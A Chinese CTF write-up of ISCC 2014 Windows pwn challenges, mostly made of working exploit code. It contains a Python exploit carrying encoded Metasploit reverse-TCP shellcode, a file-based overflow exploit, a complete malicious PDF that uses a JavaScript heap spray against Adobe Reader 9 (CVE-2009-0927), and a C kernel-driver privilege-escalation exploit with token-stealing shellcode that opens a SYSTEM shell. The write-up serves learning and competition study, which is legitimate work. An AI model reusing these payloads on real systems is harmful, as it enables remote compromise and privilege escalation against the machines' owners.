第一次做iscc,感觉这个比赛内容很丰富,获得不少乐趣,把自己做的pwn的题解贴出来,在小白的成长之路上mark一下,还有很长的路要走。
题目与题解链接:http://pan.baidu.com/s/1qWGzvbe
以下是斗克之乱、远征郑国、镇压叛乱、晋楚争霸的题解。
运行环境:win xp sp2
运行程序如下图,给出了题目要求,看来shellcode为tcp反向连接.
一没有输入框,二没有打开文件,那很可能就是服务端程序了。用IDA看看,果然是
端口号为1000.
用python写个简单的连接程序,发现可以连接
#pwn200.py
import socket
sock = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
sock.connect(('127.0.0.1',1000))
s = sock.send(b’1111111111111111111’)
在XP中用OD加载,在accept,recv,send函数上设断点。
程序弹出对话框后,运行pwn200.py,此时目标程序停在了accept函数上,F9继续跑,断在了recv函数处
Recv函数一次接收一个字节,循环接收,而判断停止接收的条件是‘end’
就是这个漏洞造成了溢出,构造长字符串+end,找到溢出点在
现在就可以构造整个exp了,先解决shellcode,用msfgui自动生成
//Payload windows/shell_reverse_tcp {LPORT=4444,LHOST=127.0.0.1, Encoder=generic/none} 314 bytes.
"\xfc\xe8\x89\x00\x00\x00\x60\x89\xe5\x31"
"\xd2\x64\x8b\x52\x30\x8b\x52\x0c\x8b\x52"
"\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff"
"\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\xc1"
"\xcf\x0d\x01\xc7\xe2\xf0\x52\x57\x8b\x52"
"\x10\x8b\x42\x3c\x01\xd0\x8b\x40\x78\x85"
"\xc0\x74\x4a\x01\xd0\x50\x8b\x48\x18\x8b"
"\x58\x20\x01\xd3\xe3\x3c\x49\x8b\x34\x8b"
"\x01\xd6\x31\xff\x31\xc0\xac\xc1\xcf\x0d"
"\x01\xc7\x38\xe0\x75\xf4\x03\x7d\xf8\x3b"
"\x7d\x24\x75\xe2\x58\x8b\x58\x24\x01\xd3"
"\x66\x8b\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b"
"\x04\x8b\x01\xd0\x89\x44\x24\x24\x5b\x5b"
"\x61\x59\x5a\x51\xff\xe0\x58\x5f\x5a\x8b"
"\x12\xeb\x86\x5d\x68\x33\x32\x00\x00\x68"
"\x77\x73\x32\x5f\x54\x68\x4c\x77\x26\x07"
"\xff\xd5\xb8\x90\x01\x00\x00\x29\xc4\x54"
"\x50\x68\x29\x80\x6b\x00\xff\xd5\x50\x50"
"\x50\x50\x40\x50\x40\x50\x68\xea\x0f\xdf"
"\xe0\xff\xd5\x89\xc7\x68\x7f\x00\x00\x01"
"\x68\x02\x00\x11\x5c\x89\xe6\x6a\x10\x56"
"\x57\x68\x99\xa5\x74\x61\xff\xd5\x68\x63"
"\x6d\x64\x00\x89\xe3\x57\x57\x57\x31\xf6"
"\x6a\x12\x59\x56\xe2\xfd\x66\xc7\x44\x24"
"\x3c\x01\x01\x8d\x44\x24\x10\xc6\x00\x44"
"\x54\x50\x56\x56\x56\x46\x56\x4e\x56\x56"
"\x53\x56\x68\x79\xcc\x3f\x86\xff\xd5\x89"
"\xe0\x4e\x56\x46\xff\x30\x68\x08\x87\x1d"
"\x60\xff\xd5\xbb\xf0\xb5\xa2\x56\x68\xa6"
"\x95\xbd\x9d\xff\xd5\x3c\x06\x7c\x0a\x80"
"\xfb\xe0\x75\x05\xbb\x47\x13\x72\x6f\x6a"
"\x00\x53\xff\xd5";
由于里边含有’\x00’坏字符,用xor \x93编码
于是要构造解码器
lea eax,[esp+0x18] 根据具体情况布置,绕过aslr
xor edx,edx
mov bl,byte ptr ds:[eax+edx] edx为0,用来计数
xor bl, 0x93 异或0x93
mov byte ptr ds:[eax+edx],bl
inc edx
cmp dx,0x13a 解码314个字节后停止解码
jnz xxxx
#最终pwn200.py
import socket
sock = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
sock.connect(('127.0.0.1',1000))
junk = b'1'*68
jmp = b'\x12\x45\xfa\x7f' #xp通用jmp esp
junk2 = b'2222' #retn 04
decoder = b'\x8d\x44\x24\x18\x90\x33\xd2\x8A\x1C\x10\x80\xF3\x93\x88\x1C\x10\x42\x66\x81\xfa\x3a\x01\x75\xef'
shellcode_encode = (
b"\x6f\x7b\x1a\x93\x93\x93\xf3\x1a\x76\xa2\x41\xf7\x18\xc1\xa3\x18\xc1"+
b"\x9f\x18\xc1\x87\x18\xe1\xbb\x9c\x24\xd9\xb5\xa2\x6c\xa2\x53\x3f"+
b"\xaf\xf2\xef\x91\xbf\xb3\x52\x5c\x9e\x92\x54\x71\x63\xc1\xc4\x18"+
b"\xc1\x83\x18\xd1\xaf\x92\x43\x18\xd3\xeb\x16\x53\xe7\xd9\x92\x43"+
b"\xc3\x18\xdb\x8b\x18\xcb\xb3\x92\x40\x70\xaf\xda\x18\xa7\x18\x92"+
b"\x45\xa2\x6c\xa2\x53\x3f\x52\x5c\x9e\x92\x54\xab\x73\xe6\x67\x90"+
b"\xee\x6b\xa8\xee\xb7\xe6\x71\xcb\x18\xcb\xb7\x92\x40\xf5\x18\x9f"+
b"\xd8\x18\xcb\x8f\x92\x40\x18\x97\x18\x92\x43\x1a\xd7\xb7\xb7\xc8"+
b"\xc8\xf2\xca\xc9\xc2\x6c\x73\xcb\xcc\xc9\x18\x81\x78\x15\xce\xfb"+
b"\xa0\xa1\x93\x93\xfb\xe4\xe0\xa1\xcc\xc7\xfb\xdf\xe4\xb5\x94\x6c"+
b"\x46\x2b\x03\x92\x93\x93\xba\x57\xc7\xc3\xfb\xba\x13\xf8\x93\x6c"+
b"\x46\xc3\xc3\xc3\xc3\xd3\xc3\xd3\xc3\xfb\x79\x9c\x4c\x73\x6c\x46"+
b"\x1a\x54\xfb\xec\x93\x93\x92\xfb\x91\x93\x82\xcf\x1a\x75\xf9\x83"+
b"\xc5\xc4\xfb\x0a\x36\xe7\xf2\x6c\x46\xfb\xf0\xfe\xf7\x93\x1a\x70"+
b"\xc4\xc4\xc4\xa2\x65\xf9\x81\xca\xc5\x71\x6e\xf5\x54\xd7\xb7\xaf"+
b"\x92\x92\x1e\xd7\xb7\x83\x55\x93\xd7\xc7\xc3\xc5\xc5\xc5\xd5\xc5"+
b"\xdd\xc5\xc5\xc0\xc5\xfb\xea\x5f\xac\x15\x6c\x46\x1a\x73\xdd\xc5"+
b"\xd5\x6c\xa3\xfb\x9b\x14\x8e\xf3\x6c\x46\x28\x63\x26\x31\xc5\xfb"+
b"\x35\x06\x2e\x0e\x6c\x46\xaf\x95\xef\x99\x13\x68\x73\xe6\x96\x28"+
b"\xd4\x80\xe1\xfc\xf9\x93\xc0\x6c\x46"
)
junk3 = b'3'*159+b'end' #结束标志
exp = junk + jmp + junk2 + decoder + shellcode_encode + junk3
sock.send(exp)
在溢出之前,要先运行一个tcp服务端程序,处在listen 4444端口的状态
这是解码后的状态,选中条以上时解码程序,以下是shell_reverse_tcp的程序
F9运行后,监听等待着的tcp服务端程序就如下图,接收到本地的cmd接口。
1. 首先运行程序,如上图。更改key.txt里的内容后如下图。
2. 显然程序是与key.txt交互,读取内容并判断,不过这个不是要关注的重点。先写进一串长字符串试试,如下图。
3.溢出漏洞很明显了,以上时在win7中进行的,以下就进入XP sp2进行,用OD加载程序,通过用二分法垃圾填充找到溢出点
溢出发生在这个函数中,
于是构造exploit,shellcode要编码,避免出现\x00,本题的坏字符还有\x1a.
#py
f = open(r'c:\key.txt','w',encoding='utf-8')
junk1 = "1"*20+"2"*20+"3"*20+"4"*20+"5"*20+"6"*20+"7"*12
jmp = "\x12\x45\xfa\x7f" #XP中的通用jmp esp地址
decoder = "\x2D\x01\x40\x24\x37\x33\xD2\x8A\x1C\x10\x80\xF3\xAA\x88\x1C\x10\x42\x80\xFA\xAA\x75\xF1" #解码器
shellcode_encode = (
"\x73\x41\x31\x73\xde\x8e\x5e\x9b\x78\x18\xdd\x9b\x63\xce\x21\xdb\x9a"
"\x21\xdc\xa6\x21\xdc\xb6\x21\xec\xa2\x21\xd4\x8a\x21\x9c\x92\xe5"
"\xb2\xdf\x59\xf3\xab\x7b\x55\x4b\xca\x21\xc6\x8e\x8e\x21\xef\x96"
"\x21\xfe\x82\xd2\xab\x40\x21\xe0\xb2\x21\xf0\x8a\xab\x41\x49\x9e"
"\xe3\x21\x9e\x21\xab\x44\x9b\x55\x9b\x6a\x56\x06\x2e\x6a\xde\xad"
"\x6b\x65\xa7\xab\x6d\x41\x5e\x91\xd6\x8e\x82\xdf\x4b\x21\xf0\x8e"
"\xab\x41\xcc\x21\xa6\xe1\x21\xf0\xb6\xab\x41\x21\xae\x21\xab\x42"
"\x23\xee\x8e\xb6\xcb\x69\x18\xa2\x83\x7e\x23\x4f\x23\x68\xc2\x24"
"\xe4\xa4\x46\xf8\x42\x35\x55\x55\x55\x23\xef\xae\x11\xd4\x72\x48"
"\xd9\x2d\xb6\x8e\xf8\x42\x24\x55\x55\x55\x23\xef\xa2\xc2\xc6\xc6"
"\x8a\xeb\xc2\x99\x98\x84\xce\xc2\xdf\xd9\xcf\xd8\x22\xf6\x8e\xa0"
"\x23\x4c\xfc\x55\xff\xae\x23\x68\xfa\x11\x02\x08\xe7\x16\x2d\xb6"
"\x8e\xf8\x42\xcb\x55\x55\x55\xc2\xc5\xd2\xf2\x8a\xc2\xcb\xcd\xcf"
"\xe8\xc2\xe7\xcf\xd9\xd9\x9b\x71\x22\xf6\x8e\xa0\x23\x49\xc2\xf2"
"\x8a\x8a\x8a\xc2\xe3\xf9\xe9\xe9\x9b\x63\x22\xe6\x8e\xae\x23\x4b"
"\x9b\x78\xf8\xf9\xfb\xf8\x55\x7a\x9b\x6a\xfa\x55\xff\xa2" #已编码的shellcode
)
s = junk1 + jmp + decoder + shellcode_encode
f.write(s)
f.close()
第一次提交时shellcode没有退出功能,这一次用msfgui生成了一个shellcode.
Payload windows/messagebox {TEXT=ISCC, Encoder=generic/none} 255 bytes.
ruby
"\xd9\xeb\x9b\xd9\x74\x24\xf4\x31\xd2\xb2"+
"\x77\x31\xc9\x64\x8b\x71\x30\x8b\x76\x0c"+
"\x8b\x76\x1c\x8b\x46\x08\x8b\x7e\x20\x8b"+
"\x36\x38\x4f\x18\x75\xf3\x59\x01\xd1\xff"+
"\xe1\x60\x8b\x6c\x24\x24\x8b\x45\x3c\x8b"+
"\x54\x28\x78\x01\xea\x8b\x4a\x18\x8b\x5a"+
"\x20\x01\xeb\xe3\x34\x49\x8b\x34\x8b\x01"+
"\xee\x31\xff\x31\xc0\xfc\xac\x84\xc0\x74"+
"\x07\xc1\xcf\x0d\x01\xc7\xeb\xf4\x3b\x7c"+
"\x24\x28\x75\xe1\x8b\x5a\x24\x01\xeb\x66"+
"\x8b\x0c\x4b\x8b\x5a\x1c\x01\xeb\x8b\x04"+
"\x8b\x01\xe8\x89\x44\x24\x1c\x61\xc3\xb2"+
"\x08\x29\xd4\x89\xe5\x89\xc2\x68\x8e\x4e"+
"\x0e\xec\x52\xe8\x9f\xff\xff\xff\x89\x45"+
"\x04\xbb\x7e\xd8\xe2\x73\x87\x1c\x24\x52"+
"\xe8\x8e\xff\xff\xff\x89\x45\x08\x68\x6c"+
"\x6c\x20\x41\x68\x33\x32\x2e\x64\x68\x75"+
"\x73\x65\x72\x88\x5c\x24\x0a\x89\xe6\x56"+
"\xff\x55\x04\x89\xc2\x50\xbb\xa8\xa2\x4d"+
"\xbc\x87\x1c\x24\x52\xe8\x61\xff\xff\xff"+
"\x68\x6f\x78\x58\x20\x68\x61\x67\x65\x42"+
"\x68\x4d\x65\x73\x73\x31\xdb\x88\x5c\x24"+
"\x0a\x89\xe3\x68\x58\x20\x20\x20\x68\x49"+
"\x53\x43\x43\x31\xc9\x88\x4c\x24\x04\x89"+
"\xe1\x31\xd2\x52\x53\x51\x52\xff\xd0\x31"+
"\xc0\x50\xff\x55\x08
用\xAA异或编码。
构造好key.txt后运行程序
呵呵,Adobe reader 9.0中文版的漏洞,信息太明显了,我想看过《0day》的都知道了,CVE-2009-0927,之前没实践过,趁此机会就实践实践。
这个漏洞是getIcon函数的一个缓冲区溢出漏洞。
这个strncpy就是溢出点,虽说是有长度限制,但长度就是源字符串的长度。要触发这个漏洞,要用到JS.调用getIcon()触发异常,这次采用堆喷射技术,原来用0c0c0c0c覆盖异常处理函数,但不是每次都能命中,于是用0c0f0c0c覆盖异常处理函数,这是我第一次用堆喷射,为此又看了《Exploit编写系列教程第十一篇:堆喷射技术揭秘》。
以下为测试文件 1.pdf
%PDF-1.1
1 0 obj
<<
/Type /Catalog
/Outlines 2 0 R
/Pages 3 0 R
/OpenAction 7 0 R
>>
endobj
2 0 obj
<<
/Type /Outlines
/Count 0
>>
endobj
3 0 obj
<<
/Type /Pages
/Kids [4 0 R]
/Count 1
>>
endobj
4 0 obj
<<
/Type /Page
/Parent 3 0 R
/MediaBox [0 0 612 792]
/Contents 5 0 R
/Resources <<
/ProcSet [/PDF /Text]
/Font << /F1 6 0 R >>
>>
>>
endobj
5 0 obj
<< /Length 98 >>
stream
BT /F1 12 Tf 100 700 Td 15 TL (Open File Error! Maybe the file is damaged!
) Tj ET
endstream
endobj
6 0 obj
<<
/Type /Font
/Subtype /Type1
/Name /F1
/BaseFont /Helvetica
/Encoding /MacRomanEncoding
>>
endobj
7 0 obj 关键部分
<<
/Type /Action
/S /JavaScript
/JS (
var shellcode =
unescape("%u33fc%ub2d2%u6430%u32ff%u8b5a%u0c52%u528b%u8b14%u2872%uc933%u18b1%uff33%uc033%u3cac%u7c61%u2c02%uc120%u0dcf%uf803%uf0e2%uff81%ubc5b%u6a4a%u5a8b%u8b10%u7512%u8bda%u3c53%ud303%u72ff%u8b34%u7852%ud303%u728b%u0320%u33f3%u41c9%u03ad%u81c3%u4738%u7465%u7550%u81f4%u0478%u6f72%u4163%ueb75%u7881%u6408%u7264%u7565%u49e2%u728b%u0324%u66f3%u0c8b%u8b4e%u1c72%uf303%u148b%u038e%u52d3%u7868%u6365%ufe01%u244c%u6803%u6957%u456e%u5354%ud2ff%u6368%u646d%ufe01%u244c%u6a03%u3305%u8dc9%u244c%u5104%ud0ff%u6568%u7373%u8b01%ufedf%u244c%u6803%u7250%u636f%u4568%u6978%u5474%u74ff%u2024%u54ff%u2024%uff57%u80d0%u8080"); 运行cmd
var nops = unescape("%u9090%u9090"); 用nop填充
while (nops.length < 0x100000)
nops += nops;
nops=nops.substring(0,0x100000/2-32/2-4/2-2/2-shellcode.length);
nops=nops+shellcode;
var memory = new Array();
for (var i=0;i<200;i++)
memory[i] += nops;
var str = unescape("%0c%0c%0f%0c");
while(str.length < 0x6000)
str += str;
app.doc.Collab.getIcon(str+'aaaaD.a'); 触发函数
)
>>
endobj
xref
0 8
0000000000 65535 f
0000000010 00000 n
0000000098 00000 n
0000000147 00000 n
0000000208 00000 n
0000000400 00000 n
0000000549 00000 n
0000000663 00000 n
trailer
<<
/Size 8
/Root 1 0 R
>>
startxref
1946
%%EOF
用OD调试时,加载测试文件,进入触发点函数后的栈
然后将不停的向栈中复制“0c0f0c0c”
当整个栈被覆盖完后,触发异常
然后就跳到了0C0F0C0C
然后一路到我们的shellcode
执行!
用IDA分析一下这个.sys文件
每个函数都看了一下,是最基本的NT驱动程序,与用户交互的函数是DriverDeviceIOControl函数。
NTSTATUS __stdcall DriverDeviceIOControl(int a1, PIRP Irp)
{
int v2; // ST38_4@1
ULONG v4; // [sp+24h] [bp-20h]@1
NTSTATUS v5; // [sp+28h] [bp-1Ch]@5
struct _IRP *v6; // [sp+30h] [bp-14h]@2
size_t v7; // [sp+34h] [bp-10h]@1
struct _IRP *v8; // [sp+3Ch] [bp-8h]@2
v4 = 0;
DbgPrint("DriverDeviceIOControl\n");
v2 = sub_10490(Irp); // v2:PIO_STACK_LOCATION stack = IoGetCurrentIrpStackLocation(Irp)
v7 = *(_DWORD *)(v2 + 8); // v7=IO_STACK_LOCATION->options
if ( *(_DWORD *)(v2 + 12) == 2236416 ) // FileAttributes
{
v8 = Irp->AssociatedIrp.MasterIrp; // Irp->AssociatedIrp.SystemBuffer
v6 = Irp->AssociatedIrp.MasterIrp; // Irp->AssociatedIrp.SystemBuffer
if ( off_106E0(v8) ) // v8<0x40(64)
{
memcpy("Good Luck!\n", v8, v7);
memcpy(v6, "Welcome To ISCC2014!\n", strlen("Welcome To ISCC2014!\n"));
v4 = strlen("Welcome To ISCC2014!\n");
}
else
{
*(_DWORD *)&v6->Type = dword_10AB0;
v6->MdlAddress = (PMDL)dword_10AB4;
LOWORD(v6->Flags) = word_10AB8;
v4 = 10;
}
v5 = 0;
}
else
{
v5 = -1073741262;
}
Irp->IoStatus.Status = v5;
Irp->IoStatus.Information = v4;
IofCompleteRequest(Irp, 0);
return v5;
}
本来只用IDA分析的,可是只有Irp->AssociatedIrp.MasterIrp,这不是内核与用户交互的四种方法的任何一种,百度也没详细讲这个的,郁闷。直接用WINDBG开始调试虚拟机了,经过几次尝试,才发现是IDA分析错了,其实是Irp->AssociatedIrp.SystemBuffer,即用的是METHOD_BUFFERED方式。
然后发现,v7是 DeviceIoControl(hDevice, IOCTL_TEST1, InputBuffer, sizeofinput, &OutputBuffer, 100, &dwOutput, NULL);中的sizeofinput参数,而该驱动对字符串做出的长度限制是用的strlen()函数得到的,所以我可以这样在开始的64字节内设一\x00,而sizeofinput则为实际memcpy要拷贝的长度,这样溢出就发生了,\(^o^)/
经过尝试,memcpy的目的地址是数据段的如下部位
向下就到了CreateDevice,DriverUnload,DrvDispatch,DriverDeviceIOControl的代码。
溢出函数就在下图红行处。
为了绕过aslr获得EIP控制权,我将我输入的数据覆盖到bafc9840处,因为程序之后会跳到这个地方,840处布置为jmp语句,让它跳到我的shellcode处,执行提升权限的shellcode后再调回845处,这之间要维持堆栈平衡,和执行被覆盖了的指令,这都是我调了2天得到的经验啊,重启,开windbg,输入命令,然后崩溃,再重启。。。太惨了。。。。
以下是用来与内涵驱动交互的程序
#include
#include
#include
#define IOCTL_TEST1 CTL_CODE(\
FILE_DEVICE_UNKNOWN,\
0x800,\
METHOD_BUFFERED,\
FILE_ANY_ACCESS)
int main()
{
HANDLE hDevice =
CreateFile("\\\\.\\ISCC2014ExploitMe",
GENERIC_READ | GENERIC_WRITE,
0, // share mode none
NULL, // no security
OPEN_EXISTING,
FILE_ATTRIBUTE_NORMAL,
NULL ); // no template
if (hDevice == INVALID_HANDLE_VALUE)
{
printf("Failed to obtain file handle to device: "
"%s with Win32 error code: %d\n",
"MyWDMDevice", GetLastError() );
return 1;
}
UCHAR InputBuffer[]=
"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\x00 " //垃圾填充
"\x80\x08\xfd\xba\x7d\x1e\xfd\xba\x82\xe1\x02\x45\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" //以原数据填充
//shellcode
"\x60\xB8\x24\xF1\xDF\xFF\x8B\x00\x8B\xB0\x20\x02\x00\x00\x8B\xC6\x8B\x80\x88\x00\x00\x00\x2D\x88\x00\x00\x00\x8B\x90\x84\x00\x00\x00\x83\xFA\x04\x75\xEA\x8B\x80\xC8\x00\x00\x00\x8D\x9E\xC8\x00\x00\x00\x89\x03\x61"
"\x8b\xff\x55\x8b\xec\xe9\xf6\x00\x00\x00"
//以原代码段数据填充
"\xeb"
"\x4d\xfc\x8b\x51\x1c\x83\xca\x10\x8b\x45\xfc\x89\x50\x1c\x8b\x4d"
"\xfc\x8b\x51\x28\x89\x55\xe4\x8b\x45\xe4\x8b\x4d\xfc\x89\x08\x8b"
"\x55\xe4\x8b\x45\xf4\x89\x42\x04\x8b\x4d\xf8\x89\x4a\x08\x68\x40"
"\x0a\xfd\xba\x8d\x55\xec\x52\xff\x15\x90\x05\xfd\xba\x8b\x45\xe4"
"\x8b\x4d\xec\x89\x48\x0c\x8b\x55\xf0\x89\x50\x10\x8d\x45\xf4\x50"
"\x8d\x4d\xec\x51\xff\x15\x88\x05\xfd\xba\x89\x45\xe8\x83\x7d\xe8"
"\x00\x7d\x0f\x8b\x55\xfc\x52\xff\x15\x84\x05\xfd\xba\x8b\x45\xe8"
"\xeb\x02\x33\xc0\x8b\xe5\x5d\xc2\x04\x00\xcc\xcc\xcc\xcc\xcc\xcc"
"\x8b\xff\x55\x8b\xec\x83\xec\x10\x8b\x45\x08\x8b\x48\x04\x89\x4d"
"\xf4\x83\x7d\xf4\x00\x74\x39\x8b\x55\xf4\x8b\x42\x28\x89\x45\xf0"
"\x8b\x4d\xf0\x8b\x51\x0c\x8b\x41\x10\x89\x55\xf8\x89\x45\xfc\x8d"
"\x4d\xf8\x51\xff\x15\x94\x05\xfd\xba\x8b\x55\xf4\x8b\x42\x0c\x89"
"\x45\xf4\x8b\x4d\xf0\x8b\x11\x52\xff\x15\x84\x05\xfd\xba\xeb\xc1"
"\x68\xa0\x0a\xfd\xba\xe8\xba\xfc\xff\xff\x83\xc4\x04\x8b\xe5\x5d"
"\xc2\x04\x00\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc"
"\xe9\xcb\xfe\xff\xff"; //JMP
int sizeofinput=strlen((char*)InputBuffer)+359;
UCHAR OutputBuffer[100];
//将输入缓冲区全部置成0XBB
//memset(InputBuffer,0xBB,10);
DWORD dwOutput;
//输入缓冲区作为输入,输出缓冲区作为输出
BOOL bRet;
bRet = DeviceIoControl(hDevice, IOCTL_TEST1, InputBuffer, sizeofinput, &OutputBuffer, 100, &dwOutput, NULL);
if (bRet)
{
printf("Output buffer:%d bytes\n",dwOutput);
for (int i=0;i<(int)dwOutput;i++)
{
printf("%c",OutputBuffer[i]);
}
printf("\n");
}
CloseHandle(hDevice);
system("cmd"); //最后以SYSTEM权限启动一个cmd。
return 0;
}
Cmd.Exe和pwn350.exe的权限都提到SYSTEM权限了。
还有一道“改革国政”,是格式化漏洞的题,可惜没做出来,最后一道问鼎中原,那个win7版本和IE实在是难找到,尽管后来ISCC给了下载,也没时间做了,PWN这部分的题就这样了,又学到了很多姿势。坐等大牛的writeup。